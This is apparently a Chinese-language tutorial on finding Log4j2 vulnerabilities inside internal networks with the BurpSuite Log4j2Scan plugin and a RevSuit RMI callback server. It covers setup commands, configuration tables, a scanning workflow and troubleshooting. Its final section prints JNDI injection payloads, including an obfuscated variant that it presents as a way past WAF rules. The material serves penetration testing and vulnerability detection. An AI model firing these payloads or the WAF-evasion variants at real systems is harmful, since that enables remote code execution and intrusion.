BurpSuite插件实战:内网渗透中Log4j2漏洞的高效检测方案
当安全团队面对内网环境中的Log4j2漏洞检测任务时,传统基于DNSLog的检测方法往往束手无策。本文将深入探讨如何利用Log4j2Scan插件结合RevSuitRMI后端,在内网环境中构建一套高效的漏洞检测体系。
1. 内网检测的核心挑战与解决方案
内网渗透测试中,Log4j2漏洞检测面临三个主要技术障碍:
- 无公网DNS解析:传统检测依赖外网DNSLog平台,而内网资产无法直接与外网通信
- 网络隔离限制:安全域划分导致扫描器无法直接访问所有目标系统
- 隐蔽性要求:检测过程需要尽可能减少对业务系统的干扰
Log4j2Scan插件的RevSuitRMI模式通过TCP回连机制完美解决了这些问题。其工作原理可概括为:
[靶机] --(触发漏洞)--> [RevSuitRMI服务端] <--(定期轮询)--> [BurpSuite插件]这种架构的优势在于:
- 完全基于内网TCP通信,不依赖DNS协议
- 单向连接模式适应严格网络策略
- 低网络开销,避免触发安全告警
提示:RMI(Remote Method Invocation)是Java特有的远程调用协议,在Log4j漏洞利用中可替代DNS查询作为漏洞触发的确认机制
2. RevSuit服务搭建与配置
2.1 环境准备
搭建RevSuit服务需要满足以下条件:
| 组件 | 要求 |
|---|---|
| 操作系统 | Linux (推荐Ubuntu 20.04+) |
| Java环境 | JDK 8+ |
| 网络配置 | 开放TCP 1099端口(默认RMI端口) |
安装步骤:
# 下载最新版RevSuit wget https://github.com/Li4n0/revsuit/releases/download/v0.3/revsuit_linux_amd64 # 赋予执行权限 chmod +x revsuit_linux_amd64 # 启动RMI服务 ./revsuit_linux_amd64 rmi --token your_secret_token2.2 关键配置参数
RevSuit的配置文件需要特别关注以下参数:
rmi: enabled: true host: "内网服务器IP" port: 1099 token: "自定义认证令牌" log_file: "/var/log/revsuit.log"- token:必须与Burp插件配置一致,用于身份验证
- host:建议设置为内网可达的服务器IP,而非127.0.0.1
- port:如1099端口被占用,需同步修改插件配置
注意:生产环境中建议使用systemd管理RevSuit服务,确保进程持续运行
3. BurpSuite插件深度配置
3.1 插件安装与初始化
- 在BurpSuite的Extender面板中点击"Add"
- 选择下载的Log4j2Scan.jar文件
- 导航至"Log4j2Scan"选项卡进行配置
关键配置项对比:
| 配置项 | 外网检测推荐值 | 内网检测推荐值 |
|---|---|---|
| Backend | DnslogCN/DigPm | RevSuitRMI |
| Scan Mode | Passive | Active |
| Fuzz Mode | EachFuzz | Crazy |
| Ex-request | 关闭 | 开启 |
3.2 RMI专用参数设置
内网检测需要特别配置以下参数:
{ "rmi_server": "192.168.1.100:1099", "rmi_token": "your_secret_token", "poll_interval": 30, "timeout": 5000 }- poll_interval:设置插件查询RMI服务的频率(秒)
- timeout:单个检测点的超时时间(毫秒)
4. 内网靶场实战演练
4.1 测试环境构建
推荐使用以下组合搭建内网测试环境:
漏洞环境:
- Vulnhub的Log4j2靶机
- 本地搭建的Spring Boot测试应用
- Docker容器运行的有漏洞服务
网络拓扑:
[攻击机:BurpSuite] ←→ [RevSuit服务器] ←→ [靶机]
4.2 检测流程优化
为提高内网检测效率,建议采用以下工作流程:
初步筛选:
- 使用Burp的Proxy历史记录过滤包含以下特征的请求:
- JSON参数
- HTTP头注入点
- 文件上传功能
- 使用Burp的Proxy历史记录过滤包含以下特征的请求:
精确检测:
- 对筛选出的请求右键发送至Log4j2Scan
- 观察RevSuit控制台日志确认漏洞触发
结果验证:
- 检查Burp的Issues面板
- 交叉验证RevSuit的日志记录
4.3 性能调优技巧
针对大规模内网扫描,可通过以下参数优化性能:
# 并发线程数(建议5-15之间) "threads": 10, # 请求间隔(毫秒) "request_interval": 200, # 最大重试次数 "max_retries": 35. 高级技巧与疑难排解
5.1 网络连通性测试
当检测失败时,按以下步骤排查:
从靶机执行telnet测试:
telnet revsuit_server_ip 1099检查RevSuit服务状态:
netstat -tulnp | grep 1099验证插件配置:
- 确认IP和端口无拼写错误
- 检查token是否一致
5.2 常见错误解决方案
| 错误现象 | 可能原因 | 解决方案 |
|---|---|---|
| 连接超时 | 网络策略阻止 | 检查防火墙/安全组规则 |
| 无漏洞报告 | 靶机无漏洞 | 换用已知漏洞环境验证 |
| 间歇性检测成功 | 网络不稳定 | 调整poll_interval参数 |
| RMI服务崩溃 | 高并发导致 | 限制线程数或升级服务器配置 |
5.3 检测逻辑深度定制
通过修改POC模板可以适应特殊环境:
// 自定义POC模板示例 String[] pocTemplates = { "${jndi:rmi://${host}:${port}/${token}}", "${${::-j}${::-n}${::-d}${::-i}:rmi://${host}/${token}}" };在复杂内网环境中,这种定制能力可以绕过:
- WAF规则拦截
- 非常规补丁方案
- 自定义安全防护